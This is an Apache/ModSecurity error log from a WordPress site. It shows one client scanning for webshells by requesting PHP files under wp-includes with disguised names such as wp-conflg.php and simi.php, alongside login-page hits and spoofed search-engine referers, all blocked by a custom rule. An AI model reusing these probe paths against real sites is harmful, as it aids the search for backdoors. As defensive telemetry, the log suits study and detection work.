[Thu Dec 25 23:50:48.983618 2025] [:error] [pid 22044:tid 22077] [client 4.194.112.239:33108] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aU1dWHPTC5rQKTB0FQ_HLgAAAMI"], referer: https://duckduckgo.com/
[Thu Dec 25 23:50:49.179798 2025] [:error] [pid 27869:tid 27887] [client 4.194.112.239:31866] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "aU1dWRNK7_n86kBD7qcLQgAAAJA"], referer: https://duckduckgo.com/
[Thu Dec 25 23:50:49.405711 2025] [:error] [pid 22043:tid 22072] [client 4.194.112.239:32505] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/index.php"] [unique_id "aU1dWT4YVtlb2Iz_QE5wcQAAABg"], referer: https://www.google.com/
[Thu Dec 25 23:50:49.624517 2025] [autoindex:error] [pid 27869:tid 27885] [client 4.194.112.239:33755] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/rest-api/fields/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Thu Dec 25 23:50:49.732212 2025] [:error] [pid 27869:tid 27892] [client 4.194.112.239:33755] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aU1dWRNK7_n86kBD7qcLRQAAAJU"], referer: https://www.google.com/
[Thu Dec 25 23:50:49.913478 2025] [:error] [pid 22131:tid 22135] [client 4.194.112.239:31815] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aU1dWZvVMtSTB4lX2fZVCwAAAEI"], referer: https://www.google.de/
[Thu Dec 25 23:50:50.093650 2025] [:error] [pid 22043:tid 22064] [client 4.194.112.239:33058] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aU1dWj4YVtlb2Iz_QE5wcgAAABA"], referer: https://www.google.fr/
[Thu Dec 25 23:50:50.281992 2025] [:error] [pid 27869:tid 27874] [client 4.194.112.239:32425] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aU1dWhNK7_n86kBD7qcLRwAAAIM"], referer: https://www.bing.com/
[Thu Dec 25 23:50:50.477643 2025] [:error] [pid 27869:tid 27895] [client 4.194.112.239:31747] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aU1dWhNK7_n86kBD7qcLSAAAAJg"], referer: https://www.bing.com/
[Thu Dec 25 23:50:50.789261 2025] [:error] [pid 22131:tid 22158] [client 4.194.112.239:33041] [client 4.194.112.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.112.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU1dWpvVMtSTB4lX2fZVDQAAAFY"], referer: https://www.google.de/
[Fri Dec 26 00:20:59.398188 2025] [proxy_fcgi:error] [pid 24862:tid 24873] [client 4.194.112.239:46229] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Fri Dec 26 00:20:59.486753 2025] [:error] [pid 24862:tid 24879] [client 4.194.112.239:46229] [client 4.194.112.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.112.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aU1ka7t-eeEEuo-2JKgXdwAAAA0"], referer: https://www.google.co.uk/
[Fri Dec 26 00:20:59.491041 2025] [proxy_fcgi:error] [pid 24862:tid 24879] [client 4.194.112.239:46229] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Fri Dec 26 00:21:20.210110 2025] [:error] [pid 24862:tid 24889] [client 4.194.112.239:46229] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aU1kgLt-eeEEuo-2JKgXrQAAABc"], referer: https://www.google.com/
[Fri Dec 26 00:21:20.395666 2025] [:error] [pid 24864:tid 24920] [client 4.194.112.239:49904] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/autoload_classmap.php"] [unique_id "aU1kgMu59XOK5DpQQdB4eAAAAUA"], referer: https://www.google.com/
[Fri Dec 26 00:21:20.576525 2025] [:error] [pid 24946:tid 24955] [client 4.194.112.239:57421] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aU1kgFfyLYxv3Jn9S70fBwAAAEc"], referer: https://www.google.com/
[Fri Dec 26 00:21:24.448303 2025] [:error] [pid 24946:tid 24954] [client 4.194.112.239:59473] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/chosen.php"] [unique_id "aU1khFfyLYxv3Jn9S70fIQAAAEY"], referer: https://duckduckgo.com/
[Fri Dec 26 00:21:24.629912 2025] [:error] [pid 24946:tid 24963] [client 4.194.112.239:43607] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aU1khFfyLYxv3Jn9S70fIwAAAE8"], referer: https://www.yahoo.com/
[Fri Dec 26 00:21:24.817960 2025] [:error] [pid 24864:tid 24944] [client 4.194.112.239:46220] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aU1khMu59XOK5DpQQdB4iQAAAVg"], referer: https://www.yahoo.com/
[Fri Dec 26 00:21:25.009995 2025] [:error] [pid 24863:tid 24896] [client 4.194.112.239:43602] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aU1khR8SaH2KMpp43vfSegAAAMM"], referer: https://www.google.de/
[Fri Dec 26 00:21:25.203390 2025] [:error] [pid 24946:tid 24962] [client 4.194.112.239:40687] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aU1khVfyLYxv3Jn9S70fJQAAAE4"], referer: https://www.google.co.uk/
[Fri Dec 26 00:21:25.396084 2025] [:error] [pid 24864:tid 24936] [client 4.194.112.239:57436] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aU1khcu59XOK5DpQQdB4jwAAAVA"], referer: https://www.bing.com/
[Fri Dec 26 00:24:39.132016 2025] [:error] [pid 24946:tid 24965] [client 4.194.112.239:44171] [client 4.194.112.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.112.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU1lR1fyLYxv3Jn9S70hvAAAAFE"], referer: https://duckduckgo.com/
[Fri Dec 26 00:24:44.061686 2025] [autoindex:error] [pid 24946:tid 24959] [client 4.194.112.239:44171] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.fr/
[Fri Dec 26 00:24:44.158097 2025] [autoindex:error] [pid 24946:tid 24962] [client 4.194.112.239:44192] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/js/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://duckduckgo.com/
[Fri Dec 26 00:25:02.701481 2025] [autoindex:error] [pid 24946:tid 24959] [client 4.194.112.239:44171] AH01276: Cannot serve directory /home/vetstars/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.com/
[Fri Dec 26 00:25:06.566336 2025] [:error] [pid 24946:tid 24962] [client 4.194.112.239:44192] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aU1lYlfyLYxv3Jn9S70h_gAAAE4"], referer: https://www.google.com/
[Fri Dec 26 00:25:06.762418 2025] [:error] [pid 24946:tid 24948] [client 4.194.112.239:44850] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aU1lYlfyLYxv3Jn9S70iAAAAAEA"], referer: https://www.google.com/
[Fri Dec 26 00:25:06.937234 2025] [:error] [pid 24864:tid 24928] [client 4.194.112.239:53185] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aU1lYsu59XOK5DpQQdB6qAAAAUg"], referer: https://www.google.co.uk/
[Fri Dec 26 00:25:07.153327 2025] [:error] [pid 24862:tid 24888] [client 4.194.112.239:44822] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aU1lY7t-eeEEuo-2JKgZJQAAABY"], referer: https://duckduckgo.com/
[Fri Dec 26 00:25:07.369151 2025] [:error] [pid 24863:tid 24915] [client 4.194.112.239:24423] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aU1lYx8SaH2KMpp43vfTuwAAANY"], referer: https://duckduckgo.com/
[Fri Dec 26 00:25:07.604244 2025] [:error] [pid 24862:tid 24866] [client 4.194.112.239:26973] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aU1lY7t-eeEEuo-2JKgZJwAAAAA"], referer: https://www.bing.com/
[Fri Dec 26 00:25:07.851659 2025] [:error] [pid 24946:tid 24968] [client 4.194.112.239:2307] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aU1lY1fyLYxv3Jn9S70iCAAAAFQ"], referer: https://duckduckgo.com/
[Fri Dec 26 00:25:08.037201 2025] [:error] [pid 24864:tid 24939] [client 4.194.112.239:2324] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/index.php"] [unique_id "aU1lZMu59XOK5DpQQdB6qgAAAVM"], referer: https://www.google.co.uk/
[Fri Dec 26 00:25:08.224161 2025] [:error] [pid 24862:tid 24873] [client 4.194.112.239:23045] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aU1lZLt-eeEEuo-2JKgZKAAAAAc"], referer: https://www.google.com/
[Fri Dec 26 00:25:08.405336 2025] [:error] [pid 24864:tid 24929] [client 4.194.112.239:53235] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aU1lZMu59XOK5DpQQdB6rAAAAUk"], referer: https://www.bing.com/
[Fri Dec 26 00:25:08.595494 2025] [:error] [pid 24862:tid 24881] [client 4.194.112.239:53241] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aU1lZLt-eeEEuo-2JKgZKQAAAA8"], referer: https://www.google.fr/
[Fri Dec 26 00:25:12.562651 2025] [:error] [pid 24946:tid 24972] [client 4.194.112.239:44171] [client 4.194.112.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.112.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU1laFfyLYxv3Jn9S70iFAAAAFg"], referer: https://duckduckgo.com/
[Fri Dec 26 00:25:14.466139 2025] [autoindex:error] [pid 24862:tid 24873] [client 4.194.112.239:44838] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.co.uk/
[Fri Dec 26 00:25:18.202875 2025] [:error] [pid 24946:tid 24968] [client 4.194.112.239:44171] [client 4.194.112.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.194.112.239, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aU1lblfyLYxv3Jn9S70iJwAAAFQ"], referer: https://www.yahoo.com/
[Fri Dec 26 00:25:33.096519 2025] [autoindex:error] [pid 24862:tid 24883] [client 4.194.112.239:44838] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.google.de/
[Fri Dec 26 00:25:33.184464 2025] [:error] [pid 24862:tid 24886] [client 4.194.112.239:44838] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aU1lfbt-eeEEuo-2JKgZWwAAABQ"], referer: https://www.google.com/
[Fri Dec 26 00:25:33.378773 2025] [autoindex:error] [pid 24862:tid 24888] [client 4.194.112.239:44873] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/IXR/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Fri Dec 26 00:25:33.466478 2025] [:error] [pid 24862:tid 24889] [client 4.194.112.239:44873] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aU1lfbt-eeEEuo-2JKgZXQAAABc"], referer: https://www.google.fr/
[Fri Dec 26 00:25:33.642803 2025] [:error] [pid 24946:tid 24968] [client 4.194.112.239:48760] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/xwx1.php"] [unique_id "aU1lfVfyLYxv3Jn9S70iTQAAAFQ"], referer: https://www.google.com/
[Fri Dec 26 00:25:33.848497 2025] [:error] [pid 24946:tid 24951] [client 4.194.112.239:44871] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aU1lfVfyLYxv3Jn9S70iUQAAAEM"], referer: https://www.google.com/
[Fri Dec 26 00:25:34.023902 2025] [:error] [pid 24863:tid 24909] [client 4.194.112.239:33647] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aU1lfh8SaH2KMpp43vfT7gAAANA"], referer: https://www.google.com/
[Fri Dec 26 00:25:34.217363 2025] [autoindex:error] [pid 24863:tid 24894] [client 4.194.112.239:42516] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.yahoo.com/
[Fri Dec 26 00:25:34.396560 2025] [:error] [pid 24863:tid 24896] [client 4.194.112.239:42516] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aU1lfh8SaH2KMpp43vfT8wAAAMM"], referer: https://www.bing.com/
[Fri Dec 26 00:25:34.585103 2025] [autoindex:error] [pid 24862:tid 24890] [client 4.194.112.239:44924] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/certificates/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: https://www.bing.com/
[Fri Dec 26 00:25:34.673576 2025] [:error] [pid 24862:tid 24866] [client 4.194.112.239:44924] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aU1lfrt-eeEEuo-2JKgZXwAAAAA"], referer: https://www.google.com/
[Fri Dec 26 00:25:34.852604 2025] [:error] [pid 24862:tid 24867] [client 4.194.112.239:27621] [client 4.194.112.239] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aU1lfrt-eeEEuo-2JKgZYQAAAAE"], referer: https://www.google.com/
